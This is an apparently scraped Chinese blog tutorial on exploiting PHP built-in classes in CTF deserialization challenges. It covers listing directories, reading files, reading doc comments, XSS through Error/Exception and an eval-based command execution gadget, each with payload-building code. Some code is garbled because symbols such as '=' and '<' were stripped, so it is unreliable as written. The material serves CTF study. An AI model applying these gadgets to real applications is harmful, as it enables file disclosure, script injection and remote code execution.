八度填写icp备案网站 接入信息,成都网站优化方案,联通公司网站谁做的,温州网站建设小程序什么是php原生类 原生类就是php内置类#xff0c;不用定义php自带的类#xff0c;即不需要在当前脚本写出#xff0c;但也可以实例化的类 我们可以通过脚本找一下php原生类
?php
$classes get_declared_classes();
foreach ($classes as $class) {$methods get_clas…什么是php原生类 原生类就是php内置类不用定义php自带的类即不需要在当前脚本写出但也可以实例化的类 我们可以通过脚本找一下php原生类
?php
$classes get_declared_classes();
foreach ($classes as $class) {$methods get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array(__destruct,__toString,__wakeup,__call,__callStatic,__get,__set,__isset,__unset,__invoke,__set_state))) {print $class . :: . $method . \n;}}
} 几个ctf常用的php原生类
遍历文件目录的类
DirectoryIterator 类
类介绍 DirectoryIterator extends SplFileInfo implements SeekableIterator { /* 方法 */ public __construct ( string $path ) public current ( ) : DirectoryIterator public getATime ( ) : int public getBasename ( string $suffix ? ) : string public getCTime ( ) : int public getExtension ( ) : string public getFilename ( ) : string public getGroup ( ) : int public getInode ( ) : int public getMTime ( ) : int public getOwner ( ) : int public getPath ( ) : string public getPathname ( ) : string public getPerms ( ) : int public getSize ( ) : int public getType ( ) : string public isDir ( ) : bool public isDot ( ) : bool public isExecutable ( ) : bool public isFile ( ) : bool public isLink ( ) : bool public isReadable ( ) : bool public isWritable ( ) : bool public key ( ) : string public next ( ) : void public rewind ( ) : void public seek ( int $position ) : void public __toString ( ) : string // 以字符串形式获取文件名 public valid ( ) : bool } 可以看到这里有我门常见的__construct和__toString这里我们可以反序列化利用 这里会创建一个指定目录的迭代器。当执行到echo函数时会触发DirectoryIterator类中的 __toString() 方法输出指定目录里面经过排序之后的第一个文件名 测试代码
?php
$a new DirectoryIterator(/);
echo $a;
echo以字符串的形式输入会触发 __toString()以字符串的形式输入根目录的第一个文件名 也可以结合glob协议进行多目录遍历
?php
$a new DirectoryIterator(glob://f*);
echo $a; 如果想显示所有的文件可以用foreach函数来遍历比如
?php
$a new DirectoryIterator(/);
foreach($a as $f){echo($f.br);
} FilesystemIterator 基本和DirectoryIterator一样 GlobIterato
名字可以看出这个类是自带glob协议的所以不用再使用glob协议了例如
?php
$a new GlobIterator(/);
echo $a; 文件读取类
SplFileObject
当用文件目录遍历到了敏感文件时可以用SplFileObject类同样通过echo触发SplFileObject中的__toString()方法。(该类不支持通配符所以必须先获取到完整文件名称才行)而且这个方法只能读一行 test1
?php
error_reporting(0);
highlight_file(__FILE__);class a{public $key;public $value;public function __wakeup(){echo new $this-key($this-value);}
}unserialize($_GET[a]);?
这个反序列化没有任何可以直接利用的魔法函数只有一个wakeup可以进入 echo new $this-key($this-value); 构造exp很简单只需要让key值赋为我们想得的原生函数value赋为路径查就完了但是这个方法的局限性就是只能查一个路径上的第一个文件。
?php
class xxh{public $key;public $value;public function __wakeup(){echo new $this-key($this-value);}
}$a new xxh();
$a-keySplFileObject;
$a-value./;
echo serialize($a);
?
PHP 原生ErrorException类(XSS实现与hash绕过)
Error内置类 适用于php7 开启报错的情况下 Error类是php 的一个内置类用于自动自定义一个Error 在php7的情况下可能会造成一个xss漏洞因为他内置有一个 __toString()方法在ctf反序列化中如果flag在cookie中可以尝试利用Error去触发__toString()
?php$a unserialize($_GET[xxh]);
echo $a;
?php
$a new Error(scriptalert(1)/script);
echo serialize($a); Excepthin 内置类 适用于 php57 开启报错的情况下: ?php$a unserialize($_GET[xxh]);
echo $a; exp
?php$a new Error(scriptalert(1)/script);
$b serialize($a);
echo urlencode($b);
也可以成功弹窗
命令执行
如果有eval的话就可以rce
?php
$a $_GET[a];
$b $_GET[b];
eval(echo new $a($b()););
? 这就不限于Error函数了、
其他类
ReflectionMethod类
他本身具有的方法
class ReflectionMethod extends ReflectionFunctionAbstract implements Reflector {
/*方法*/ReflectionMethod::__construct — ReflectionMethod 的构造函数ReflectionMethod::export — 输出一个回调方法ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口译者注可以使用这个返回值直接调用非公开方法。ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例ReflectionMethod::getModifiers — 获取方法的修饰符ReflectionMethod::getPrototype — 返回方法原型 (如果存在)ReflectionMethod::invoke — InvokeReflectionMethod::invokeArgs — 带参数执行ReflectionMethod::isAbstract — 判断方法是否是抽象方法ReflectionMethod::isConstructor — 判断方法是否是构造方法ReflectionMethod::isDestructor — 判断方法是否是析构方法ReflectionMethod::isFinal — 判断方法是否定义 finalReflectionMethod::isPrivate — 判断方法是否是私有方法ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected)ReflectionMethod::isPublic — 判断方法是否是公开方法ReflectionMethod::isStatic — 判断方法是否是静态方法ReflectionMethod::setAccessible — 设置方法是否访问ReflectionMethod::__toString — 返回反射方法对象的字符串表达/*继承的方法*/final private ReflectionFunctionAbstract::__clone(): voidpublic ReflectionFunctionAbstract::getAttributes(?string $name null, int $flags 0): arraypublic ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClasspublic ReflectionFunctionAbstract::getClosureThis(): objectpublic ReflectionFunctionAbstract::getDocComment(): stringpublic ReflectionFunctionAbstract::getEndLine(): intpublic ReflectionFunctionAbstract::getExtension(): ReflectionExtensionpublic ReflectionFunctionAbstract::getExtensionName(): stringpublic ReflectionFunctionAbstract::getFileName(): stringpublic ReflectionFunctionAbstract::getName(): stringpublic ReflectionFunctionAbstract::getNamespaceName(): stringpublic ReflectionFunctionAbstract::getNumberOfParameters(): intpublic ReflectionFunctionAbstract::getNumberOfRequiredParameters(): intpublic ReflectionFunctionAbstract::getParameters(): arraypublic ReflectionFunctionAbstract::getReturnType(): ?ReflectionTypepublic ReflectionFunctionAbstract::getShortName(): stringpublic ReflectionFunctionAbstract::getStartLine(): intpublic ReflectionFunctionAbstract::getStaticVariables(): arraypublic ReflectionFunctionAbstract::hasReturnType(): boolpublic ReflectionFunctionAbstract::inNamespace(): boolpublic ReflectionFunctionAbstract::isClosure(): boolpublic ReflectionFunctionAbstract::isDeprecated(): boolpublic ReflectionFunctionAbstract::isGenerator(): boolpublic ReflectionFunctionAbstract::isInternal(): boolpublic ReflectionFunctionAbstract::isUserDefined(): boolpublic ReflectionFunctionAbstract::isVariadic(): boolpublic ReflectionFunctionAbstract::returnsReference(): boolabstract public ReflectionFunctionAbstract::__toString(): void
可以看到这里也有一个__toString函数也可以触发反序列化漏洞
ReflectionMethod 类中有很多继承方法可以使用比如这个 getDocComment() 方法我们可以用它来获取类中各个函数注释内容
?php
show_source(__FILE__);
class a
//flag{123}public function a(){}
}
$a $_GET[a];
$b $_GET[b];
$c $_GET[c];
$dnew $a($b,$c);
echo($d-getDocComment());
? ?aReflectionMethodbacb 利用原生类ReflectionMethod中的getDocComment()函数类读取注释
ZipArchive类
可以通过本类执行一些文件操作在CTF可以用来删除waf
open(打开一个压缩包文件)
$zip new \ZipArchive;$zip-open(test_new.zip, \ZipArchive::CREATE)
常用方法
ZipArchive::addEmptyDir添加一个新的文件目录
ZipArchive::addFile将文件添加到指定zip压缩包中
ZipArchive::addFromString添加新的文件同时将内容添加进去
ZipArchive::close关闭ziparchive
ZipArchive::extractTo将压缩包解压
ZipArchive::open打开一个zip压缩包
ZipArchive::deleteIndex删除压缩包中的某一个文件如deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName删除压缩包中的某一个文件名称同时也将文件删除